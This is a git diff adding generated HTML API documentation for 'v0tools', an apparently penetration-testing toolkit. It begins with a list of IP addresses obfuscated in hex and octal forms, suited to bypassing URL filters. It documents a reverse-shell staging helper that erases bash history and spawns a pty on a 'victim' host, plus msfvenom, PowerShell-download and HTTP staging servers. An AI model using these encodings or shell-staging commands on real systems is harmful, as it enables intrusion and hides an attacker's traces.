+    mix http://0xd8.3850948
+    mix http://0xd8.0x3ac2c4
+    mix http://0xd8.016541304
+    mix http://0330.3850948
+    mix http://0330.0x3ac2c4
+    mix http://0330.016541304
+    mix http://216.58.49860
+    mix http://216.58.0xc2c4
+    mix http://216.58.0141304
+    mix http://216.0x3a.49860
+    mix http://216.0x3a.0xc2c4
+    mix http://216.0x3a.0141304
+    mix http://216.072.49860
+    mix http://216.072.0xc2c4
+    mix http://216.072.0141304
+    mix http://0xd8.58.49860
+    mix http://0xd8.58.0xc2c4
+    mix http://0xd8.58.0141304
+    mix http://0xd8.0x3a.49860
+    mix http://0xd8.0x3a.0xc2c4
+    mix http://0xd8.0x3a.0141304
+    mix http://0xd8.072.49860
+    mix http://0xd8.072.0xc2c4
+    mix http://0xd8.072.0141304
+    mix http://0330.58.49860
+    mix http://0330.58.0xc2c4
+    mix http://0330.58.0141304
+    mix http://0330.0x3a.49860
+    mix http://0330.0x3a.0xc2c4
+    mix http://0330.0x3a.0141304
+    mix http://0330.072.49860
+    mix http://0330.072.0xc2c4
+    mix http://0330.072.0141304
+    mix http://216.58.194.196
+    mix http://216.58.194.0xc4
+    mix http://216.58.194.0304
+    mix http://216.58.0xc2.196
+    mix http://216.58.0xc2.0xc4
+    mix http://216.58.0xc2.0304
+    mix http://216.58.0302.196
+    mix http://216.58.0302.0xc4
+    mix http://216.58.0302.0304
+    mix http://216.0x3a.194.196
+    mix http://216.0x3a.194.0xc4
+    mix http://216.0x3a.194.0304
+    mix http://216.0x3a.0xc2.196
+    mix http://216.0x3a.0xc2.0xc4
+    mix http://216.0x3a.0xc2.0304
+    mix http://216.0x3a.0302.196
+    mix http://216.0x3a.0302.0xc4
+    mix http://216.0x3a.0302.0304
+    mix http://216.072.194.196
+    mix http://216.072.194.0xc4
+    mix http://216.072.194.0304
+    mix http://216.072.0xc2.196
+    mix http://216.072.0xc2.0xc4
+    mix http://216.072.0xc2.0304
+    mix http://216.072.0302.196
+    mix http://216.072.0302.0xc4
+    mix http://216.072.0302.0304
+    mix http://0xd8.58.194.196
+    mix http://0xd8.58.194.0xc4
+    mix http://0xd8.58.194.0304
+    mix http://0xd8.58.0xc2.196
+    mix http://0xd8.58.0xc2.0xc4
+    mix http://0xd8.58.0xc2.0304
+    mix http://0xd8.58.0302.196
+    mix http://0xd8.58.0302.0xc4
+    mix http://0xd8.58.0302.0304
+    mix http://0xd8.0x3a.194.196
+    mix http://0xd8.0x3a.194.0xc4
+    mix http://0xd8.0x3a.194.0304
+    mix http://0xd8.0x3a.0xc2.196
+    mix http://0xd8.0x3a.0xc2.0xc4
+    mix http://0xd8.0x3a.0xc2.0304
+    mix http://0xd8.0x3a.0302.196
+    mix http://0xd8.0x3a.0302.0xc4
+    mix http://0xd8.0x3a.0302.0304
+    mix http://0xd8.072.194.196
+    mix http://0xd8.072.194.0xc4
+    mix http://0xd8.072.194.0304
+    mix http://0xd8.072.0xc2.196
+    mix http://0xd8.072.0xc2.0xc4
+    mix http://0xd8.072.0xc2.0304
+    mix http://0xd8.072.0302.196
+    mix http://0xd8.072.0302.0xc4
+    mix http://0xd8.072.0302.0304
+    mix http://0330.58.194.196
+    mix http://0330.58.194.0xc4
+    mix http://0330.58.194.0304
+    mix http://0330.58.0xc2.196
+    mix http://0330.58.0xc2.0xc4
+    mix http://0330.58.0xc2.0304
+    mix http://0330.58.0302.196
+    mix http://0330.58.0302.0xc4
+    mix http://0330.58.0302.0304
+    mix http://0330.0x3a.194.196
+    mix http://0330.0x3a.194.0xc4
+    mix http://0330.0x3a.194.0304
+    mix http://0330.0x3a.0xc2.196
+    mix http://0330.0x3a.0xc2.0xc4
+    mix http://0330.0x3a.0xc2.0304
+    mix http://0330.0x3a.0302.196
+    mix http://0330.0x3a.0302.0xc4
+    mix http://0330.0x3a.0302.0304
+    mix http://0330.072.194.196
+    mix http://0330.072.194.0xc4
+    mix http://0330.072.194.0304
+    mix http://0330.072.0xc2.196
+    mix http://0330.072.0xc2.0xc4
+    mix http://0330.072.0xc2.0304
+    mix http://0330.072.0302.196
+    mix http://0330.072.0302.0xc4
+    mix http://0330.072.0302.0304
+
+
+
+ +
+
+ API Documentation for v0tools, generated by pydoctor 21.2.2 at 1996-06-17 15:00:00. +
+ +
+ + + + + \ No newline at end of file diff --git a/docs/public/api/v0tools.lib.filesystem.html b/docs/public/api/v0tools.lib.filesystem.html new file mode 100644 index 0000000..3235cc6 --- /dev/null +++ b/docs/public/api/v0tools.lib.filesystem.html @@ -0,0 +1,95 @@ + + + + + v0tools.lib.filesystem : API documentation + + + + + + + + + +
+ + + +
+ module documentation +
+ +
+ +

+
+ +
+

Filesystem utils.

+
+ +
+ + + + + + + + +
FunctioniterfilesRecursivly iterate through files filtering by filetype
+ + + +
+ +
+ +
+ + + + + + + +
+ + def iterfiles(path, filename_filter): + +
+
+ + +

Recursivly iterate through files filtering by filetype

i.e. :

+    for i in iterfiles('/home/foo', '*.py'):
+        print(i)
+
ParameterspathUndocumented (type: str)
filename_filterUndocumented (type: str)
+
+
+ +
+
+ API Documentation for v0tools, generated by pydoctor 21.2.2 at 1996-06-17 15:00:00. +
+ +
+ + + + + \ No newline at end of file diff --git a/docs/public/api/v0tools.lib.html b/docs/public/api/v0tools.lib.html new file mode 100644 index 0000000..13de033 --- /dev/null +++ b/docs/public/api/v0tools.lib.html @@ -0,0 +1,84 @@ + + + + + v0tools.lib : API documentation + + + + + + + + + +
+ + + +
+ package documentation +
+ +
+ +

+
+ +
+

Helper libs for various operations.

+
+ +
+ + + + + + + + + + + + + + + + + + +
ModulefilesystemFilesystem utils.
ModulelogLogging Module.
ModuleutilVarious helper functions.
+ + + +
+ +
+ + + +
+
+ API Documentation for v0tools, generated by pydoctor 21.2.2 at 1996-06-17 15:00:00. +
+ +
+ + + + + \ No newline at end of file diff --git a/docs/public/api/v0tools.lib.log.html b/docs/public/api/v0tools.lib.log.html new file mode 100644 index 0000000..a4c6c01 --- /dev/null +++ b/docs/public/api/v0tools.lib.log.html @@ -0,0 +1,115 @@ + + + + + v0tools.lib.log : API documentation + + + + + + + + + +
+ + + +
+ module documentation +
+ +
+ +

+
+ +
+

Logging Module.

+
+ +
+ + + + + + + + + + + + + +
VariableLOGMain LOG object.
Functionget_logReturn logger object.
+ + + +
+ +
+ +
+ + + + + + + +
+ + LOG = + +
+
+ + +

Main LOG object.

+
+
+ + + + + + + +
+ + def get_log(): + +
+
+ + +

Return logger object.

+
+
+ +
+
+ API Documentation for v0tools, generated by pydoctor 21.2.2 at 1996-06-17 15:00:00. +
+ +
+ + + + + \ No newline at end of file diff --git a/docs/public/api/v0tools.lib.util.html b/docs/public/api/v0tools.lib.util.html new file mode 100644 index 0000000..2d767b8 --- /dev/null +++ b/docs/public/api/v0tools.lib.util.html @@ -0,0 +1,264 @@ + + + + + v0tools.lib.util : API documentation + + + + + + + + + +
+ + + +
+ module documentation +
+ +
+ +

+
+ +
+

Various helper functions.

+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FunctionsplitterSplit a iterable into all length variations
FunctionrandportGet Random TCP port number (above 1024).
FunctionrandstrGet Random string from A-Za-z0-9 of length x.
Functionterm_rows_colsReturn terminal rows / cols.
Functionrshell_stagetxtPrint Reverse shell staging information to paste into victim reverse shell
Functionpowershell_base64_encodeEncode a powershell compatible b64 string.
+ + + +
+ +
+ +
+ + + + + + + +
+ + def splitter(arr): + +
+
+ + +

Split a iterable into all length variations

example: :

+    import json
+
+    test = "abcd"
+    output = list(map(list, splitter(test)))
+    print(len(output))
+    print(json.dumps(output, indent=4, separators=(",", " : ")))
+
+    print(len(list(splitter("abcdefghijkl"))))
+

output: :

+    7
+    [
+        [
+            "a",
+            "bcd"
+        ],
+        [
+            "a",
+            "b",
+            "cd"
+        ],
+        [
+            "a",
+            "b",
+            "c",
+            "d"
+        ],
+        [
+            "a",
+            "bc",
+            "d"
+        ],
+        [
+            "ab",
+            "cd"
+        ],
+        [
+            "ab",
+            "c",
+            "d"
+        ],
+        [
+            "abc",
+            "d"
+        ]
+    ]
+    2047
+
+
+
+ + + + + + + +
+ + def randport(): + +
+
+ + +

Get Random TCP port number (above 1024).

+
+
+ + + + + + + +
+ + def randstr(length=6): + +
+
+ + +

Get Random string from A-Za-z0-9 of length x.

+
+
+ + + + + + + +
+ + def term_rows_cols(): + +
+
+ + +

Return terminal rows / cols.

ReturnsUndocumented (type: Tuple[int, int])
+
+
+ + + + + + + +
+ + def rshell_stagetxt(): + +
+
+ + +

Print Reverse shell staging information to paste into victim reverse shell

example: :

+    stty rows 16 cols 135
+    export TERM=xterm-256color
+    mkdir -p /dev/shm/V0_Rando/bin
+    cd /dev/shm/V0_Rando
+    ln -fs /dev/null .bash_history
+    export SHELL=/bin/bash
+    export HOME=$(pwd)
+    export PATH=$PATH:$(pwd)/bin
+    python -c 'import pty; pty.spawn("/bin/bash")' || python3 -c 'import pty; pty.spawn("/bin/bash")'
+
+
+
+ + + + + + + +
+ + def powershell_base64_encode(txt): + +
+
+ + +

Encode a powershell compatible b64 string.

ParameterstxtUndocumented (type: str)
+
+
+ +
+
+ API Documentation for v0tools, generated by pydoctor 21.2.2 at 1996-06-17 15:00:00. +
+ +
+ + + + + \ No newline at end of file diff --git a/docs/public/api/v0tools.media.convert.html b/docs/public/api/v0tools.media.convert.html new file mode 100644 index 0000000..9184bcb --- /dev/null +++ b/docs/public/api/v0tools.media.convert.html @@ -0,0 +1,115 @@ + + + + + v0tools.media.convert : API documentation + + + + + + + + + +
+ + + +
+ module documentation +
+ +
+ +

+
+ +
+

Convert media formats.

+
+ +
+ + + + + + + + + + + + + +
Functionmp4_to_gifConvert MP4 to GIF.
Functionmp4_to_webmConvert an MP4 file to WEBM file.
+ + + +
+ +
+ +
+ + + + + + + +
+ + def mp4_to_gif(srcfile, destfile, overwrite=False): + +
+
+ + +

Convert MP4 to GIF.

+
+
+ + + + + + + +
+ + def mp4_to_webm(srcfile, destfile, overwrite=False): + +
+
+ + +

Convert an MP4 file to WEBM file.

+
+
+ +
+
+ API Documentation for v0tools, generated by pydoctor 21.2.2 at 1996-06-17 15:00:00. +
+ +
+ + + + + \ No newline at end of file diff --git a/docs/public/api/v0tools.media.html b/docs/public/api/v0tools.media.html new file mode 100644 index 0000000..cd040f5 --- /dev/null +++ b/docs/public/api/v0tools.media.html @@ -0,0 +1,79 @@ + + + + + v0tools.media : API documentation + + + + + + + + + +
+ + + +
+ package documentation +
+ +
+ +

+
+ +
+

Module that contains working with media such as screencasts and documents.

+
+ +
+ + + + + + + + + + + + + +
ModuleconvertConvert media formats.
ModulescreencastModule for doing screencast / media work.
+ + + +
+ +
+ + + +
+
+ API Documentation for v0tools, generated by pydoctor 21.2.2 at 1996-06-17 15:00:00. +
+ +
+ + + + + \ No newline at end of file diff --git a/docs/public/api/v0tools.media.screencast.html b/docs/public/api/v0tools.media.screencast.html new file mode 100644 index 0000000..e7ad067 --- /dev/null +++ b/docs/public/api/v0tools.media.screencast.html @@ -0,0 +1,115 @@ + + + + + v0tools.media.screencast : API documentation + + + + + + + + + +
+ + + +
+ module documentation +
+ +
+ +

+
+ +
+

Module for doing screencast / media work.

+
+ +
+ + + + + + + + + + + + + +
FunctionscreenkeyLaunch the screenkey program for showing keys during terminal work.
Functionx11_to_mp4FFMPEG recording x11 to MP4 file (no audio).
+ + + +
+ +
+ +
+ + + + + + + +
+ + def screenkey(scr_num): + +
+
+ + +

Launch the screenkey program for showing keys during terminal work.

Parametersscr_numUndocumented (type: int)
ReturnsUndocumented (type: subprocess.Popen)
+
+
+ + + + + + + +
+ + def x11_to_mp4(x, y, width, height, destination_file): + +
+
+ + +

FFMPEG recording x11 to MP4 file (no audio).

ParametersxUndocumented (type: int)
yUndocumented (type: int)
widthUndocumented (type: int)
heightUndocumented (type: int)
destination_fileUndocumented (type: str)
ReturnsUndocumented (type: subprocess.Popen)
+
+
+ +
+
+ API Documentation for v0tools, generated by pydoctor 21.2.2 at 1996-06-17 15:00:00. +
+ +
+ + + + + \ No newline at end of file diff --git a/docs/public/api/v0tools.msf.VenomCache.html b/docs/public/api/v0tools.msf.VenomCache.html new file mode 100644 index 0000000..504bec4 --- /dev/null +++ b/docs/public/api/v0tools.msf.VenomCache.html @@ -0,0 +1,253 @@ + + + + + v0tools.msf.VenomCache : API documentation + + + + + + + + + +
+ + + +
+ class documentation +
+ +
+

class VenomCache(object):

+

View In Hierarchy

+
+ +
+

VenomCache Class.

+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Method__init__Return VenomCache Object.
Instance Variablecache_fileCache file location.
Propertycache_file_ageGet time cache file was last modified.
Methodregen_cacheSee if we need to regnerate cache.
Propertyis_staleReturns true if cache age is over MAX_CACHE_AGE.
PropertycacheReturn cached json dictionary from cache file.
Method_getoptionsGet msf venom options.
Method_gencacheRoutine that generates the cache dictionary.
+ + + +
+ +
+ +
+ + + + + + + +
+ + def __init__(self): + +
+
+ + +

Return VenomCache Object.

+
+
+ + + + + + + +
+ + cache_file = + +
+
+ + +

Cache file location.

(type: pathlib.Path) +
+
+ + + + + + + +
+ + def _getoptions(self, opt_type): + +
+
+ + +

Get msf venom options.

+
+
+ + + + + + + +
+ @property
+ cache_file_age = + +
+
+ + +

Get time cache file was last modified.

+
+
+ + + + + + + +
+ + def regen_cache(self, force=False): + +
+
+ + +

See if we need to regnerate cache.

+
+
+ + + + + + + +
+ @property
+ is_stale = + +
+
+ + +

Returns true if cache age is over MAX_CACHE_AGE.

+
+
+ + + + + + + +
+ @property
+ cache = + +
+
+ + +

Return cached json dictionary from cache file.

(type: Dict[str, List]) +
+
+ + + + + + + +
+ + def _gencache(self): + +
+
+ + +

Routine that generates the cache dictionary.

+
+
+ +
+
+ API Documentation for v0tools, generated by pydoctor 21.2.2 at 1996-06-17 15:00:00. +
+ +
+ + + + + \ No newline at end of file diff --git a/docs/public/api/v0tools.msf.html b/docs/public/api/v0tools.msf.html new file mode 100644 index 0000000..696c0e9 --- /dev/null +++ b/docs/public/api/v0tools.msf.html @@ -0,0 +1,143 @@ + + + + + v0tools.msf : API documentation + + + + + + + + + +
+ + + +
+ module documentation +
+ +
+ +

+
+ +
+

Metaspoit Framework Related methods.

+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
VariableMAX_CACHE_AGEMaximum age from now in seconds when the file was last modified.
ClassVenomCacheVenomCache Class.
VariableOPTSMSF Venom cli options.
Functionget_venom_auto_completePrint out an autocomplete string that can be sourced in bash.
+ + + +
+ +
+ +
+ + + + + + + +
+ + MAX_CACHE_AGE = + +
+
+ + +

Maximum age from now in seconds when the file was last modified.

(type: int) +
+
+ + + + + + + +
+ + OPTS = + +
+
+ + +

MSF Venom cli options.

+
+
+ + + + + + + +
+ + def get_venom_auto_complete(): + +
+
+ + +

Print out an autocomplete string that can be sourced in bash.

+
+
+ +
+
+ API Documentation for v0tools, generated by pydoctor 21.2.2 at 1996-06-17 15:00:00. +
+ +
+ + + + + \ No newline at end of file diff --git a/docs/public/api/v0tools.net.html b/docs/public/api/v0tools.net.html new file mode 100644 index 0000000..18da681 --- /dev/null +++ b/docs/public/api/v0tools.net.html @@ -0,0 +1,138 @@ + + + + + v0tools.net : API documentation + + + + + + + + + +
+ + + +
+ module documentation +
+ +
+ +

+
+ +
+

Network Related Functions.

+
+ +
+ + + + + + + + + + + + + + + + + + +
Functionget_ipGet IP Address of fqdn.
Functionget_interfacesGet All System Interfaces.
Functionget_interface_addressReturn interface, and ipaddress of interface.
+ + + +
+ +
+ +
+ + + + + + + +
+ + def get_ip(fqdn): + +
+
+ + +

Get IP Address of fqdn.

ParametersfqdnUndocumented (type: str)
+
+
+ + + + + + + +
+ + def get_interfaces(): + +
+
+ + +

Get All System Interfaces.

+
+
+ + + + + + + +
+ + def get_interface_address(ipv, interface): + +
+
+ + +

Return interface, and ipaddress of interface.

ParametersipvUndocumented (type: str)
interfaceUndocumented (type: str)
ReturnsUndocumented (type: str)
+
+
+ +
+
+ API Documentation for v0tools, generated by pydoctor 21.2.2 at 1996-06-17 15:00:00. +
+ +
+ + + + + \ No newline at end of file diff --git a/docs/public/api/v0tools.servers.html b/docs/public/api/v0tools.servers.html new file mode 100644 index 0000000..7a00e8e --- /dev/null +++ b/docs/public/api/v0tools.servers.html @@ -0,0 +1,74 @@ + + + + + v0tools.servers : API documentation + + + + + + + + + +
+ + + +
+ package documentation +
+ +
+ +

+
+ +
+

Servers Modules.

+
+ +
+ + + + + + + + +
ModulehttpservHttp Servers Module.
+ + + +
+ +
+ + + +
+
+ API Documentation for v0tools, generated by pydoctor 21.2.2 at 1996-06-17 15:00:00. +
+ +
+ + + + + \ No newline at end of file diff --git a/docs/public/api/v0tools.servers.httpserv.BackgroundHttp.html b/docs/public/api/v0tools.servers.httpserv.BackgroundHttp.html new file mode 100644 index 0000000..eb14567 --- /dev/null +++ b/docs/public/api/v0tools.servers.httpserv.BackgroundHttp.html @@ -0,0 +1,253 @@ + + + + + v0tools.servers.httpserv.BackgroundHttp : API documentation + + + + + + + + + +
+ + + +
+ class documentation +
+ +
+

class BackgroundHttp(object):

+

View In Hierarchy

+
+ +
+

Background HTTP server for staging pruposes.

+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Method__init__Init BackgroundHttp server.
Instance VariablepathUpload path.
Instance Variableaddresshttp address.
Instance Variableporthttp port.
Instance VariablethreadServer thread.
PropertyurlURL of background server.
MethodstartStart Thread.
Method_runRun Server.
+ + + +
+ +
+ +
+ + + + + + + +
+ + def __init__(self, path, address, port): + +
+
+ + +

Init BackgroundHttp server.

ParameterspathUndocumented (type: str)
addressUndocumented (type: str)
portUndocumented (type: str)
+
+
+ + + + + + + +
+ + path = + +
+
+ + +

Upload path.

+
+
+ + + + + + + +
+ + address = + +
+
+ + +

http address.

+
+
+ + + + + + + +
+ + port = + +
+
+ + +

http port.

+
+
+ + + + + + + +
+ + thread = + +
+
+ + +

Server thread.

+
+
+ + + + + + + +
+ @property
+ url = + +
+
+ + +

URL of background server.

+
+
+ + + + + + + +
+ + def start(self): + +
+
+ + +

Start Thread.

+
+
+ + + + + + + +
+ + def _run(self): + +
+
+ + +

Run Server.

+
+
+ +
+
+ API Documentation for v0tools, generated by pydoctor 21.2.2 at 1996-06-17 15:00:00. +
+ +
+ + + + + \ No newline at end of file diff --git a/docs/public/api/v0tools.servers.httpserv.PutHTTPRequestHandler.html b/docs/public/api/v0tools.servers.httpserv.PutHTTPRequestHandler.html new file mode 100644 index 0000000..09a2e50 --- /dev/null +++ b/docs/public/api/v0tools.servers.httpserv.PutHTTPRequestHandler.html @@ -0,0 +1,92 @@ + + + + + v0tools.servers.httpserv.PutHTTPRequestHandler : API documentation + + + + + + + + + +
+ + + +
+ class documentation +
+ +
+

class PutHTTPRequestHandler(server.SimpleHTTPRequestHandler):

+

View In Hierarchy

+
+ +
+

Extend SimpleHTTPRequestHandler to handle PUT requests

+
+ +
+ + + + + + + + +
Methoddo_PUTSave a file following a HTTP PUT request
+ + + +
+ +
+ +
+ + + + + + + +
+ + def do_PUT(self): + +
+
+ + +

Save a file following a HTTP PUT request

+
+
+ +
+
+ API Documentation for v0tools, generated by pydoctor 21.2.2 at 1996-06-17 15:00:00. +
+ +
+ + + + + \ No newline at end of file diff --git a/docs/public/api/v0tools.servers.httpserv.html b/docs/public/api/v0tools.servers.httpserv.html new file mode 100644 index 0000000..cab8b43 --- /dev/null +++ b/docs/public/api/v0tools.servers.httpserv.html @@ -0,0 +1,217 @@ + + + + + v0tools.servers.httpserv : API documentation + + + + + + + + + +
+ + + +
+ module documentation +
+ +
+ +

+
+ +
+

Http Servers Module.

+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
VariableSERV_PREFIXESSERVER helper prefixes for windows and linux based systems.
VariablePS_REMOTE_DOWNLOAD_OBJPowershell Download Template.
ClassPutHTTPRequestHandlerExtend SimpleHTTPRequestHandler to handle PUT requests
FunctionserveServer a file or directory via http.
FunctionuploaderServer PUT requests for file uploads.
ClassBackgroundHttpBackground HTTP server for staging pruposes.
Functionpowershell_servPowershell server in a temporary thread.
FunctionmainRun main function.
+ + + +
+ +
+ +
+ + + + + + + +
+ + SERV_PREFIXES = + +
+
+ + +

SERVER helper prefixes for windows and linux based systems.

(type: dict[str, str]) +
+
+ + + + + + + +
+ + PS_REMOTE_DOWNLOAD_OBJ = + +
+
+ + +

Powershell Download Template.

+
+
+ + + + + + + +
+ + def serve(address, port, serv_path, display='none'): + +
+
+ + +

Server a file or directory via http.

ParametersaddressUndocumented (type: str)
portUndocumented (type: str)
serv_pathUndocumented (type: str)
displayUndocumented
+
+
+ + + + + + + +
+ + def uploader(address, port, serv_path): + +
+
+ + +

Server PUT requests for file uploads.

ParametersaddressUndocumented (type: str)
portUndocumented (type: str)
serv_pathUndocumented (type: str)
+
+
+ + + + + + + +
+ + def powershell_serv(address, port, file): + +
+
+ + +

Powershell server in a temporary thread.

ParametersaddressUndocumented (type: str)
portUndocumented (type: str)
fileUndocumented (type: str)
+
+
+ + + + + + + +
+ + def main(): + +
+
+ + +

Run main function.

+
+
+ +
+
+ API Documentation for v0tools, generated by pydoctor 21.2.2 at 1996-06-17 15:00:00. +
+ +
+ + + + + \ No newline at end of file diff --git a/docs/public/api/v0tools.syspkgs.Pkg.html b/docs/public/api/v0tools.syspkgs.Pkg.html new file mode 100644 index 0000000..d06cd3d --- /dev/null +++ b/docs/public/api/v0tools.syspkgs.Pkg.html @@ -0,0 +1,552 @@ + + + + + v0tools.syspkgs.Pkg : API documentation + + + + + + + + + +
+ + + +
+ class documentation +
+ +
+

class Pkg(object):

+

View In Hierarchy

+
+ +
+

Package Object.

+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Class VariableDIST_DEBDistro fixed string.
Class VariableDIST_RHDistro fixed string.
Class VariableDIST_ARCHDistro fixed string.
Class VariablePKG_RHDistro package prefix.
Class VariablePKG_ARCHDistro package prefix.
Class VariablePKG_DEBDistro package prefix.
Method__init__Initialize Pkg
Instance Variableis_testingDenote if the package is for testing purposes.
Instance VariablenameBinary name.
Instance Variablerhrh instructions.
Instance VariablearchArch instructions.
Instance VariabledebDebian instructions.
Methodadd_binaryAdd binary name to commands.
PropertypathReturn binary path.
Methodset_archSet Arch value self.arch.
Methodset_rhSet Redhat value self.rh.
Methodset_debSet Debian value self.deb.
Propertydist_mapDistribution value map.
Propertypkg_prefixPackage prefix map.
MethodinstructionInstall Instruction in shell script.
PropertydistGet Linux Distribution Information.
+ + + +
+ +
+ +
+ + + + + + + +
+ + DIST_DEB = + +
+
+ + +

Distro fixed string.

(type: str) +
+
+ + + + + + + +
+ + DIST_RH = + +
+
+ + +

Distro fixed string.

(type: str) +
+
+ + + + + + + +
+ + DIST_ARCH = + +
+
+ + +

Distro fixed string.

(type: str) +
+
+ + + + + + + +
+ + PKG_RH = + +
+
+ + +

Distro package prefix.

(type: str) +
+
+ + + + + + + +
+ + PKG_ARCH = + +
+
+ + +

Distro package prefix.

(type: str) +
+
+ + + + + + + +
+ + PKG_DEB = + +
+
+ + +

Distro package prefix.

(type: str) +
+
+ + + + + + + +
+ + def __init__(self, name, testing=False): + +
+
+ + +

Initialize Pkg

ParametersnameUndocumented (type: str)
testingUndocumented
+
+
+ + + + + + + +
+ + is_testing = + +
+
+ + +

Denote if the package is for testing purposes.

+
+
+ + + + + + + +
+ + name = + +
+
+ + +

Binary name.

+
+
+ + + + + + + +
+ + rh = + +
+
+ + +

rh instructions.

+
+
+ + + + + + + +
+ + arch = + +
+
+ + +

Arch instructions.

+
+
+ + + + + + + +
+ + deb = + +
+
+ + +

Debian instructions.

+
+
+ + + + + + + +
+ + def add_binary(self, name): + +
+
+ + +

Add binary name to commands.

+
+
+ + + + + + + +
+ @property
+ path = + +
+
+ + +

Return binary path.

+
+
+ + + + + + + +
+ + def set_arch(self, value): + +
+
+ + +

Set Arch value self.arch.

+
+
+ + + + + + + +
+ + def set_rh(self, value): + +
+
+ + +

Set Redhat value self.rh.

+
+
+ + + + + + + +
+ + def set_deb(self, value): + +
+
+ + +

Set Debian value self.deb.

+
+
+ + + + + + + +
+ @property
+ dist_map = + +
+
+ + +

Distribution value map.

+
+
+ + + + + + + +
+ @property
+ pkg_prefix = + +
+
+ + +

Package prefix map.

+
+
+ + + + + + + +
+ + def instruction(self, override=None): + +
+
+ + +

Install Instruction in shell script.

+
+
+ + + + + + + +
+ @property
+ dist = + +
+
+ + +

Get Linux Distribution Information.

+
+
+ +
+
+ API Documentation for v0tools, generated by pydoctor 21.2.2 at 1996-06-17 15:00:00. +
+ +
+ + + + + \ No newline at end of file diff --git a/docs/public/api/v0tools.syspkgs.html b/docs/public/api/v0tools.syspkgs.html new file mode 100644 index 0000000..e13a09c --- /dev/null +++ b/docs/public/api/v0tools.syspkgs.html @@ -0,0 +1,143 @@ + + + + + v0tools.syspkgs : API documentation + + + + + + + + + +
+ + + +
+ module documentation +
+ +
+ +

+
+ +
+

System Packing Information.

+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
VariableCOMMANDSCommand map.
Functioncheck_installsCheck if binaries exist
ClassPkgPackage Object.
Functionget_install_instructionsReturn install instruction dict.
+ + + +
+ +
+ +
+ + + + + + + +
+ + COMMANDS = + +
+
+ + +

Command map.

(type: Dict[str, Pkg]) +
+
+ + + + + + + +
+ + def check_installs(bins): + +
+
+ + +

Check if binaries exist

Show instructions if they do not exist and exit

ParametersbinsUndocumented (type: List)
+
+
+ + + + + + + +
+ + def get_install_instructions(): + +
+
+ + +

Return install instruction dict.

ReturnsUndocumented (type: Dict[str, str])
+
+
+ +
+
+ API Documentation for v0tools, generated by pydoctor 21.2.2 at 1996-06-17 15:00:00. +
+ +
+ + + + + \ No newline at end of file diff --git a/docs/public/api/v0tools.tests.BashCompletionTest.html b/docs/public/api/v0tools.tests.BashCompletionTest.html new file mode 100644 index 0000000..ebdcfa1 --- /dev/null +++ b/docs/public/api/v0tools.tests.BashCompletionTest.html @@ -0,0 +1,92 @@ + + + + + v0tools.tests.BashCompletionTest : API documentation + + + + + + + + + +
+ + + +
+ class documentation +
+ +
+

class BashCompletionTest(unittest.TestCase):

+

View In Hierarchy

+
+ +
+

Bash Completion Test class.

+
+ +
+ + + + + + + + +
Methodrun_completeRun the complete command.
+ + + +
+ +
+ +
+ + + + + + + +
+ + def run_complete(self, completion_file, program, command, expected): + +
+
+ + +

Run the complete command.

+
+
+ +
+
+ API Documentation for v0tools, generated by pydoctor 21.2.2 at 1996-06-17 15:00:00. +
+ +
+ + + + + \ No newline at end of file diff --git a/docs/public/api/v0tools.tests.Completion.html b/docs/public/api/v0tools.tests.Completion.html new file mode 100644 index 0000000..108cb3e --- /dev/null +++ b/docs/public/api/v0tools.tests.Completion.html @@ -0,0 +1,230 @@ + + + + + v0tools.tests.Completion : API documentation + + + + + + + + + +
+ + + +
+ class documentation +
+ +
+

class Completion:

+

View In Hierarchy

+
+ +
+

Bash Completion test class.

+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
MethodpreparePrepare the command.
Instance VariableprogramBase Completer program.
Instance VariableCOMP_LINERaw Complete Line.
Instance VariableCOMP_POINTWord complete Length.
Instance VariableCOMP_WORDSWORD Split.
Instance VariableCOMP_CWORDSplit Word Count.
MethodrunRun the test.
+ + + +
+ +
+ +
+ + + + + + + +
+ + def prepare(self, program, command): + +
+
+ + +

Prepare the command.

+
+
+ + + + + + + +
+ + program = + +
+
+ + +

Base Completer program.

+
+
+ + + + + + + +
+ + COMP_LINE = + +
+
+ + +

Raw Complete Line.

+
+
+ + + + + + + +
+ + COMP_POINT = + +
+
+ + +

Word complete Length.

+
+
+ + + + + + + +
+ + COMP_WORDS = + +
+
+ + +

WORD Split.

+
+
+ + + + + + + +
+ + COMP_CWORD = + +
+
+ + +

Split Word Count.

+
+
+ + + + + + + +
+ + def run(self, completion_file, program, command): + +
+
+ + +

Run the test.

+
+
+ +
+
+ API Documentation for v0tools, generated by pydoctor 21.2.2 at 1996-06-17 15:00:00. +
+ +
+ + + + + \ No newline at end of file diff --git a/docs/public/api/v0tools.tests.html b/docs/public/api/v0tools.tests.html new file mode 100644 index 0000000..3c0474b --- /dev/null +++ b/docs/public/api/v0tools.tests.html @@ -0,0 +1,125 @@ + + + + + v0tools.tests : API documentation + + + + + + + + + +
+ + + +
+ module documentation +
+ +
+ +

+
+ +
+

Unit test helpers.

+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
VariableCOMP_WORDBREAKSBash Autocomplete COMP_WORDBREAKS content.
Functionsplit_wordbreakSplit Bash Autcomplete by wordbreak.
ClassCompletionBash Completion test class.
ClassBashCompletionTestBash Completion Test class.
+ + + +
+ +
+ +
+ + + + + + + +
+ + COMP_WORDBREAKS = + +
+
+ + +

Bash Autocomplete COMP_WORDBREAKS content.

(type: list[str]) +
+
+ + + + + + + +
+ + def split_wordbreak(command): + +
+
+ + +

Split Bash Autcomplete by wordbreak.

+
+
+ +
+
+ API Documentation for v0tools, generated by pydoctor 21.2.2 at 1996-06-17 15:00:00. +
+ +
